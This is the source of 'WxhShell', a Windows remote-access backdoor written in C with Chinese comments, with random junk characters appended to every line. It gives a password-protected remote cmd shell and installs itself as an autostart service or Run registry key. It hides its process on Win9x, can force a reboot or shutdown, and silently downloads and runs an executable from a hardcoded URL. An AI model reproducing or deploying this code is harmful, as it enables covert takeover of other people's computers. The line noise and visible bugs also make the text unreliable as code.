  case 'd': { s+mNr3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t?bc$,S"\(  
    if(Boot(SHUTDOWN)) bBwMx{iNNz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~lg1S  
    else { <<Zt.!hS  
    closesocket(wsh); u+ wKs`   
    ExitThread(0); (WoKrd.!  
    } z>n<+tso  
    break; ZAK NyA2  
    } ykq9]Xqhv  
  // 获取shell Ojea~Y]Sr  
  case 's': { |[%CFm}+?  
    CmdShell(wsh); Glz yFj  
    closesocket(wsh); MSef2|"P#  
    ExitThread(0); a04I.5!  
    break; G5;N#^myJ  
  } `EFPY$9`D  
  // 退出 8[2.HM$Y  
  case 'x': { KDt@Xi 6||  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z:TW{:lrI  
    CloseIt(wsh); X?3?R\/  
    break; IiX`l6L~W  
    } ^ W/,Z`  
  // 离开 WziX1%0$n  
  case 'q': { gOk<pRcTb=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y7&8P8R  
    closesocket(wsh); R9dC$Y]\M  
    WSACleanup(); P:`tL)W_  
    exit(1); e+_~a8 -|  
    break; ^F}HWpF_  
        } FNQR sNi  
  } y2XeD=_'  
  } CBj&8#8Z  
*F ya qJ)  
  // 提示信息 J~\`8cds  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fi/[(RBG  
} Kzv*`  
  } sg=mkkD!g  
=%wwepz6  
  return; x37pj)i/  
} Py}`k1t*f  
lDBn3U&z>  
// shell模块句柄 .1O  
int CmdShell(SOCKET sock) O&ur |&v  
{ ue YBD]3'  
STARTUPINFO si; >'qkW$-95  
ZeroMemory(&si,sizeof(si)); Dg:2*m_!j{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QH?}uX'x)G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; muD7+rn?&  
PROCESS_INFORMATION ProcessInfo; pONBF3H8  
char cmdline[]="cmd"; #5Zf6w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g%Yw Dr=0t  
  return 0; 9)_fH6r  
} :yLSLN  
g{]C@,W  
// 自身启动模式 uU7s4oJ|  
int StartFromService(void) h`1{tu  
{ j|WuOZm\0  
typedef struct |fQl0hL  
{ CB7 6  
  DWORD ExitStatus; %Pz'D6 /  
  DWORD PebBaseAddress; f]P&>j|  
  DWORD AffinityMask; d8Keyi8[  
  DWORD BasePriority; O{B[iy(C  
  ULONG UniqueProcessId; ?2;gmZd7  
  ULONG InheritedFromUniqueProcessId; "cK@Yo  
}   PROCESS_BASIC_INFORMATION; @R!f(\  
>9h@Dj[|!  
PROCNTQSIP NtQueryInformationProcess; Z(' iZ'55F  
L}>XH*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d=q&UCC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'h?;i2[  
p=tj>{  
  HANDLE             hProcess; %J_`-\)"{~  
  PROCESS_BASIC_INFORMATION pbi; b IS 3  
h^u 9W7.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #U46Au  
  if(NULL == hInst ) return 0; > @Ux8#  
3EM=6\#q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `ViFY   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3Pb]Of#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (x.O]8GKP  
0K0[mC}ZwM  
  if (!NtQueryInformationProcess) return 0; k"J [mT$b  
=h`yc$ A(2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $m.e}`7SF!  
  if(!hProcess) return 0; c<'Pt4LY  
%:^|Q;xe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;:w?&4  
{"cS:u  
  CloseHandle(hProcess); kt.y"^  
9M$=X-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "y%S.ipWG  
if(hProcess==NULL) return 0; 4 Ar\`{c>  
F?+K~['i  
HMODULE hMod; :HDl-8]Lw  
char procName[255]; AWp{n  
unsigned long cbNeeded; ;NyX9&@  
' 9K4A'2[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s'&/8RR  
-^y$RJC  
  CloseHandle(hProcess); FfDe&/,/  
t+R8{9L-  
if(strstr(procName,"services")) return 1; // 以服务启动 2>E.Q@c  
1:.0^?Gz  
  return 0; // 注册表启动 a<Ru)Q?=  
} )PM&x   
qRD]Q  
// 主模块 sknta 0^=2  
int StartWxhshell(LPSTR lpCmdLine) Qx9lcO_  
{ a0vg%Z@!  
  SOCKET wsl; t@a2@dX|  
BOOL val=TRUE; C?UV3  
  int port=0; ZfzUvN&!  
  struct sockaddr_in door; R:= %gl!  
g3p*OYf  
  if(wscfg.ws_autoins) Install(); eiL  ;  
piZ0KA"  
port=atoi(lpCmdLine); `iX~cUQ  
qusX]Tst z  
if(port<=0) port=wscfg.ws_port; 3Mvm'T:[  
E~=`Ac,G2  
  WSADATA data; hFDY2Cp]D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $'SWH+G  
$6BD6\@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yu3T5@Ww  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^Vl{IsY  
  door.sin_family = AF_INET; {8NnRnzU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DEGEr-  
  door.sin_port = htons(port); ,S|v>i, @  
:hre|$@{a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E!d;ym  
closesocket(wsl); 7XE |5G  
return 1; AE:IXP|c  
} g~5$X{  
93z oJiLRf  
  if(listen(wsl,2) == INVALID_SOCKET) { =WaZy>n}7  
closesocket(wsl); hpftVEB  
return 1; GqFDN],Wp  
} ,tdV-9N[O  
  Wxhshell(wsl); UjNe0jt% s  
  WSACleanup(); wS Ty2Oyo;  
<NV[8B#k]  
return 0; 9{gY|2R_  
6}aIb.j  
} "Qf X&'09  
`"N56  
// 以NT服务方式启动 3JB?G>\!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f'hrS}e  
{ }i32  
DWORD   status = 0; Pt/dH+r`%  
  DWORD   specificError = 0xfffffff; 5ua`5Hb;  
(#Vkk]-p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :iWW2fY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M.|@|If4?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Y:>Ouv*z'  
  serviceStatus.dwWin32ExitCode     = 0; 3},0b8};  
  serviceStatus.dwServiceSpecificExitCode = 0; 58x=CN\QU  
  serviceStatus.dwCheckPoint       = 0; qpo3b7(N  
  serviceStatus.dwWaitHint       = 0; #nQZ/[|  
ac8+?FpK #  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +|#lUXC  
  if (hServiceStatusHandle==0) return; !d@qT.  
),#%jc2_^  
status = GetLastError(); <ID/\Qx`q  
  if (status!=NO_ERROR) ]8)nIT^EP  
{ 5PY,}1`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FLT4:B7  
    serviceStatus.dwCheckPoint       = 0; ;pK/t=$  
    serviceStatus.dwWaitHint       = 0; #KC& ct  
    serviceStatus.dwWin32ExitCode     = status; MP5 vc5[  
    serviceStatus.dwServiceSpecificExitCode = specificError; ![=C`O6K  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sW'SR  
    return; L: hEt  
  } ?:D#\4=US  
i:9f#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DnbT<oEL  
  serviceStatus.dwCheckPoint       = 0; [If%+mHdU  
  serviceStatus.dwWaitHint       = 0; ('H[[YODh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~j%g?;#*  
} 5)g6yV'  
:VP*\K/:  
// 处理NT服务事件,比如:启动、停止 B d#D*"gx  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f+#^Lngo  
{ rkdf htpI  
switch(fdwControl) 1P (5+9"s  
{ aS ]bTYJ'  
case SERVICE_CONTROL_STOP: z8HOig?  
  serviceStatus.dwWin32ExitCode = 0; X,m6#vLK2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Y?cdm}:Ou  
  serviceStatus.dwCheckPoint   = 0; eko$c,&jY  
  serviceStatus.dwWaitHint     = 0; -6wjc rTD  
  { &L&6 y()G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J$' Q3k  
  } p.(8ekh  
  return; H/qv%!/o  
case SERVICE_CONTROL_PAUSE: Ne{2fV>8Ay  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [PVem  
  break; AfU~k!4`  
case SERVICE_CONTROL_CONTINUE: WCK;r{p%I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FW](GWp`:  
  break; QWqEe|}6  
case SERVICE_CONTROL_INTERROGATE: CC Z'(Tkq  
  break; ulY8$jB  
}; V1[Cc?o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\LbPk  
} 6Vr:?TI7  
|?zFm mh  
// 标准应用程序主函数 tOQ2947zk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dMo456L  
{ a?_!  
;+d2qbGd  
// 获取操作系统版本 #$vQT}  
OsIsNt=GetOsVer(); f{s}[p~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xvx5@lx  
"eqNd"~  
  // 从命令行安装 dj>ZHdTn  
  if(strpbrk(lpCmdLine,"iI")) Install(); PtfxF]%H  
[^oTC;  
  // 下载执行文件 xqP DL9\  
if(wscfg.ws_downexe) { j c%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SSoD}N  
  WinExec(wscfg.ws_filenam,SW_HIDE); QqpXUyHp[  
} F]_w~1 n5  
}6U`/"RfcO  
if(!OsIsNt) { zk\YW'x|r  
// 如果时win9x,隐藏进程并且设置为注册表启动 5somoV B  
HideProc(); 58TH|Rj+I  
StartWxhshell(lpCmdLine); = JE4C9$,  
} {jnfe}]  
else <oFZFlY@  
  if(StartFromService()) =f FTi1]/h  
  // 以服务方式启动 E=G"_ ^hCE  
  StartServiceCtrlDispatcher(DispatchTable); Zo=w8Hr  
else l1<]pdLTR  
  // 普通方式启动 dm;C @.ML  
  StartWxhshell(lpCmdLine); ,{tz%\, %  
;|C[.0;kgv  
return 0; Sbf+;:D  
} UEm~5,>$0  
xN^ngRg0  
?^y!}(  
uyE_7)2d  
=========================================== Kx8>  
mA{G: d  
"pa}']7#  
A.f!SYV6  
ymNL`GYN[  
A>0wqT  
" $w:7$:k  
&:]ej6 V'[  
#include <stdio.h> =Gl6~lJ{_  
#include <string.h> UKfC!YR2J8  
#include <windows.h> dV~d60jOF  
#include <winsock2.h> 28u3B2\$  
#include <winsvc.h> 71g\fGG\  
#include <urlmon.h> -#TF&-  
-XbO[_Wf  
#pragma comment (lib, "Ws2_32.lib") {pzu1*  
#pragma comment (lib, "urlmon.lib") J83{&N2u  
>q+q];=(  
#define MAX_USER   100 // 最大客户端连接数 [xm{4Ba2X  
#define BUF_SOCK   200 // sock buffer P#gY-k&Nr  
#define KEY_BUFF   255 // 输入 buffer AK$h S M  
~s$ jiA1  
#define REBOOT     0   // 重启 JPs R7f  
#define SHUTDOWN   1   // 关机 oU\Q|mN(  
y2_^lW%  
#define DEF_PORT   5000 // 监听端口 :)~idVlV  
,_G((oS40  
#define REG_LEN     16   // 注册表键长度 QTy xx  
#define SVC_LEN     80   // NT服务名长度 /o/0 9K  
ITUwIpA E  
// 从dll定义API :)djHPP*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kdr?I9kwW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !F^j\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |z]O@@j$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xp_3EQl  
t;>"V.F<1  
// wxhshell配置信息  4E"OD+  
struct WSCFG { J|'e.1v  
  int ws_port;         // 监听端口 r.JY88"  
  char ws_passstr[REG_LEN]; // 口令 $y2"Q,n+  
  int ws_autoins;       // 安装标记, 1=yes 0=no G $P|F6  
  char ws_regname[REG_LEN]; // 注册表键名 nVSuvq|S  
  char ws_svcname[REG_LEN]; // 服务名 (Lp$EC&%6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KS9 e V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rM{3]v{~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ptA-rX.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ts~MkO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W7sx/O9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |aaoi4OJ  
2 c%*u {=:  
}; #iZ%CY\  
^Z6N&s#6  
// default Wxhshell configuration ! u4'1jd[d  
struct WSCFG wscfg={DEF_PORT, \[!k`6#t7  
    "xuhuanlingzhe", <`rl[C{  
    1, r )pg9}+  
    "Wxhshell", w^rINPAS  
    "Wxhshell", h 8ND=(  
            "WxhShell Service", !BQ:R(w  
    "Wrsky Windows CmdShell Service", gG>|5R0  
    "Please Input Your Password: ", A,WZ}v}_  
  1, BLno/JK0}  
  "http://www.wrsky.com/wxhshell.exe", D09/(%4j  
  "Wxhshell.exe" t V]BcDp  
    }; hYj!*P)uV  
)|d]0/<  
// 消息定义模块 _ +"V5z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GfG!CG^ %  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z }t{bm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EYLqg`2A  
char *msg_ws_ext="\n\rExit."; 6)@Y41H]C  
char *msg_ws_end="\n\rQuit."; m4 :|  
char *msg_ws_boot="\n\rReboot..."; ]O\m(of R  
char *msg_ws_poff="\n\rShutdown..."; P ~sX S  
char *msg_ws_down="\n\rSave to "; z. 6-D  
DGQGV[9%4C  
char *msg_ws_err="\n\rErr!"; 0Ud.u  
char *msg_ws_ok="\n\rOK!"; nw)yK%`;M  
R cz;|h8  
char ExeFile[MAX_PATH]; 2G(RQ\Ro*  
int nUser = 0; Z2%ySO  
HANDLE handles[MAX_USER]; )S,Rx  
int OsIsNt; Kt 0 3F$  
M?3N h;  
SERVICE_STATUS       serviceStatus; a$~pAy5C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7Zf * T  
YpGG^;M$  
// 函数声明 FA+'E  
int Install(void); 6dzY9   
int Uninstall(void); nO{m2&r+  
int DownloadFile(char *sURL, SOCKET wsh); E\X:VQ9  
int Boot(int flag); t3w:!' Ato  
void HideProc(void); @5C!`:f  
int GetOsVer(void); K).Gj2 $  
int Wxhshell(SOCKET wsl); JIA'3"C  
void TalkWithClient(void *cs); &* Aems{-  
int CmdShell(SOCKET sock); '/ >7pB  
int StartFromService(void); +@ j@#~=K  
int StartWxhshell(LPSTR lpCmdLine); gaIN]9wLm  
tr<iFT}C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `E4+#_ v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m7F"kD  
Y >83G`*}b  
// 数据结构和表定义 Ul/Uk n$  
SERVICE_TABLE_ENTRY DispatchTable[] = %#zqZ|q  
{ _T{ "F  
{wscfg.ws_svcname, NTServiceMain}, "6<L) 8  
{NULL, NULL} &`9p.  
}; lo!.%PP|  
9CxFj)#5F  
// 自我安装 X }W4dpU,  
int Install(void) *Bse3%-v  
{ }1sFddGVt  
  char svExeFile[MAX_PATH]; '&OJ hLE  
  HKEY key;  s_p\ bl.  
  strcpy(svExeFile,ExeFile); FVgE^_  
/3!c ;(  
// 如果是win9x系统,修改注册表设为自启动 DC-tBbQkk  
if(!OsIsNt) { 'Pm.b}p<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hA6D*8oXD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $r'PYGn  
  RegCloseKey(key); <uYeev%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kw gsf5[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0?{Y6:d+  
  RegCloseKey(key); qSg=[7XOO  
  return 0; 4dgo*9  
    } ^_Ap?zn  
  } }+F&=-P)  
} [ 1$p}x  
else { GgNqci,  
&6#>a"?"  
// 如果是NT以上系统,安装为系统服务 FS1> J%P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )qL UHE=  
if (schSCManager!=0) 4^jIV!V  
{ gpe/dfyJ9  
  SC_HANDLE schService = CreateService L2jjkyX]  
  ( ,*r}23  
  schSCManager, z87_/(nu  
  wscfg.ws_svcname,  u51%~  
  wscfg.ws_svcdisp, qTA,rr#p0  
  SERVICE_ALL_ACCESS, /M3UK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :Nt_LsH  
  SERVICE_AUTO_START, \mIm}+!H  
  SERVICE_ERROR_NORMAL, L  (#DVF  
  svExeFile, A'=,q  
  NULL, h,(f3Ik0O  
  NULL, ^s;xLGl]  
  NULL, *2(W`m  
  NULL, ,2R7AHk  
  NULL TB@0j ;g  
  ); {+SshT>J  
  if (schService!=0) b;K]; o-/f  
  { keMfK ]9  
  CloseServiceHandle(schService); yt@;yd:OEk  
  CloseServiceHandle(schSCManager); 6~rO(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uYu/0fQD  
  strcat(svExeFile,wscfg.ws_svcname); %!vgAH4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Cr  a@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \d&/,?,Ey  
  RegCloseKey(key); I/&uiC{l@  
  return 0; f0h^ULd  
    } RaBq@r*(  
  } 9!kH:Az[p  
  CloseServiceHandle(schSCManager); xyvG+K&  
} 4uV,$/  
} M`=bJO:  
^G*zFqa+`  
return 1; 9td[^EB#(h  
} \GFFPCi4 D  
j/Dc';,d.(  
// 自我卸载 p[&6hXTd  
int Uninstall(void) ~dm/U7B:  
{ -UMPt"o  
  HKEY key; n_qDg  
d${RZ}/  
if(!OsIsNt) { IcDAl~uG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ="<S1}.  
  RegDeleteValue(key,wscfg.ws_regname); 5e|2b] f$  
  RegCloseKey(key); u[>hs \3k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]-D&/88``  
  RegDeleteValue(key,wscfg.ws_regname); 5YW.s   
  RegCloseKey(key); YO3$I!(  
  return 0; P\3$Y-id  
  } :9=J=G*  
} Q 6)5*o8n  
} 3ZhB 8 P  
else { Onqd2'%<  
sgRD]SF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^-Knx!z  
if (schSCManager!=0) K5ywO8_6`  
{ 3SU:Xd(\o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yOQEF\  
  if (schService!=0) \dG#hH4ZD  
  { M.loG4r!  
  if(DeleteService(schService)!=0) { >JWW2<  
  CloseServiceHandle(schService); \`MX\OR  
  CloseServiceHandle(schSCManager); 1I1Z),  
  return 0; <.l$jW]  
  } TX%W-J _  
  CloseServiceHandle(schService); >@T(^=Q  
  } uQYBq)p|  
  CloseServiceHandle(schSCManager); [|NgrU_.  
} +=qazE<:0  
} rK@UCRf  
< "8<<   
return 1; eT4+O5t  
} j. m(Z}  
NyTGvBf  
// 从指定url下载文件 \i +=tGY  
int DownloadFile(char *sURL, SOCKET wsh) Mb2rHUr  
{ J(s%"d  
  HRESULT hr; 51Nh"JTy  
char seps[]= "/"; SjZ?keKZ  
char *token; S(b5Gj/Kd  
char *file; OG C|elSM  
char myURL[MAX_PATH]; (ru9Ke%Dx  
char myFILE[MAX_PATH]; -H;%1y$A-  
C K{.Ic^  
strcpy(myURL,sURL); -nvK*rn>}  
  token=strtok(myURL,seps); G|"`kAa  
  while(token!=NULL) [p%OIqC`pB  
  { FQ72VY  
    file=token; -A\J:2a|  
  token=strtok(NULL,seps); s)e'}y  
  } Q.dHg7+D  
n* 7mP   
GetCurrentDirectory(MAX_PATH,myFILE); ?pLKUAh  
strcat(myFILE, "\\"); P!Mz5QZ+  
strcat(myFILE, file); A)X 'We  
  send(wsh,myFILE,strlen(myFILE),0); "E><:_,\  
send(wsh,"...",3,0); t\p_QWnF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9m:qQ1[\  
  if(hr==S_OK) 3}}#'5D  
return 0;  9kkYD  
else GsG9;6c+u  
return 1; R^i8AbFW  
NVFgRJ&  
} <XfCQq/  
'x-PQQ  
// 系统电源模块 b,7@)sZ*  
int Boot(int flag) 9=-!~ _'1-  
{ u}[Z=V  
  HANDLE hToken; zg3q\ ~  
  TOKEN_PRIVILEGES tkp; KLc<c1BZ  
P]pVYX# m  
  if(OsIsNt) { r|bvpZV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n,Z B-"dW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -ty_<m]  
    tkp.PrivilegeCount = 1; cE*Gd^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 54A ndyeA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "I|[m%\  
if(flag==REBOOT) { I&} Md73  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !u} }V  
  return 0; h.\9a3B:r  
} f"0{e9O]2  
else { o~Im5j],*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mh4NZ @;  
  return 0; #hBDOXHPf  
} qP"<vZ  
  } *+E9@r=HF  
  else { fRTQ5V  
if(flag==REBOOT) { 6^L4wd7)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L;},1 \  
  return 0; );$L#XpB  
} U[S#axak  
else { 7@.UkBOx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O1nfz>L`  
  return 0; {$<X\\&r  
} >,8DwNuq  
} jocu=Se@  
4Qr16,Us  
return 1; GlDl0P,*r  
} vM}oxhQ$n  
C#5z!z/:%  
// win9x进程隐藏模块 C?Sy90f  
void HideProc(void) ]< 0|"NL  
{ t._W643~  
<tEN1i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hr8v O"tZN  
  if ( hKernel != NULL ) r9/PmZo4x  
  { h5bQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); crJyk#_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OG_2k3v  
    FreeLibrary(hKernel); zl: 5_u=T  
  } 1or4s{bmo  
B_k[N}|zD  
return; !9l c6W  
} =$B:i>z<  
-P09u82  
// 获取操作系统版本 =NH p%|  
int GetOsVer(void) 0ih=<@1K  
{ o)P'H"Ki  
  OSVERSIONINFO winfo; Y9TaU]7]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (8<U+)[tPy  
  GetVersionEx(&winfo); 1 )aB']K%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :bLLN  
  return 1; FuNc#n>  
  else CL*i,9:NR  
  return 0; +oY[uF  
} fjUyx:  
^/wvHu[#  
// 客户端句柄模块 9HlRf6S  
int Wxhshell(SOCKET wsl) F*F U[ 5  
{ /5@V $c8  
  SOCKET wsh; :QnN7&j|(w  
  struct sockaddr_in client; ?~e 8:/@  
  DWORD myID; _|x b)_  
9=D\xBd|w  
  while(nUser<MAX_USER) ZGHkW9b&  
{ -<gGNj.x-  
  int nSize=sizeof(client); |0?h6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D>u1ngu  
  if(wsh==INVALID_SOCKET) return 1; *dn~-W.  
\N\Jny  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DiyviH  
if(handles[nUser]==0) +$:bzo_u  
  closesocket(wsh); CT@JNG$<"  
else #h@/~xr  
  nUser++; R 2uo ZA,  
  } !3{> F"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C>q,c3s5  
V:rq}F}  
  return 0; **V^8'W<  
} ">}l8MA  
y K~;LV  
// 关闭 socket LYPjdp2>"o  
void CloseIt(SOCKET wsh) W'2|hP  
{ {I|iUfy  
closesocket(wsh); hL#5:~(  
nUser--; $UMxO`F  
ExitThread(0); u@\]r 1  
} H gMLh*  
+53 Tf  
// 客户端请求句柄 'W 5r(M4U  
void TalkWithClient(void *cs) K.?~@5%  
{ ve2GRTO^aC  
n$Z@7r  
  SOCKET wsh=(SOCKET)cs; #pbPaRJL(  
  char pwd[SVC_LEN]; ,[}5@cS  
  char cmd[KEY_BUFF]; Kd8V,teH  
char chr[1]; R9o3T)9V  
int i,j; #EiOC.A=  
CUgXpU*  
  while (nUser < MAX_USER) { G\S\Qe{P~  
ngoo4}  
if(wscfg.ws_passstr) { O1pBr=+j+{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2]n"7Z8(v8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xmxfXW  
  //ZeroMemory(pwd,KEY_BUFF); @.f@N;z  
      i=0; A0sydUc  
  while(i<SVC_LEN) { Ep/4o< N(  
3A%/H`  
  // 设置超时 `#&pB0.y  
  fd_set FdRead; .7TQae%  
  struct timeval TimeOut; > $0eRVL  
  FD_ZERO(&FdRead); "ZDc$v:Qa  
  FD_SET(wsh,&FdRead); Z -`j)3Y  
  TimeOut.tv_sec=8; JnCp'`  
  TimeOut.tv_usec=0; ]%jlaXb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (i^3Lw :  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4]jN@@  
[6Y6{.%~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +2!J3{[J  
  pwd=chr[0]; zXQ o pQ1  
  if(chr[0]==0xd || chr[0]==0xa) { ">]v'h(s  
  pwd=0; [Q &{#%M  
  break; N"MuAUB:K  
  } pqO}=*v@  
  i++; 2Q`@lTUv  
    } _4iTP$7[  
%-!ruc"}  
  // 如果是非法用户,关闭 socket TSXa#SKp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ru,]!YPJE2  
} 5;5;bBo~  
mAh0xgm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d?(#NP#;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vdrV)^  
S~fQ8t70  
while(1) { $e#p -z  
l\7NR  
  ZeroMemory(cmd,KEY_BUFF); '+ 1<7jl&I  
s0"S;{_#  
      // 自动支持客户端 telnet标准   r+fR^hv  
  j=0; =D.M}x qo  
  while(j<KEY_BUFF) { t6&6kl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y*A#}b*0  
  cmd[j]=chr[0]; 57e'a&}e  
  if(chr[0]==0xa || chr[0]==0xd) { uj|{TV>v9  
  cmd[j]=0; !={Z]J  
  break; ;o]'7qGb  
  } :IDD(<^9  
  j++; ; mF-y,E  
    } dxbP'2~  
YXxaD@  
  // 下载文件 _7>$'V{  
  if(strstr(cmd,"http://")) { 2%"2~d7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }Z*@EWc>  
  if(DownloadFile(cmd,wsh)) p_S8m|%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qy=4zOOD#  
  else hD!W&Er  
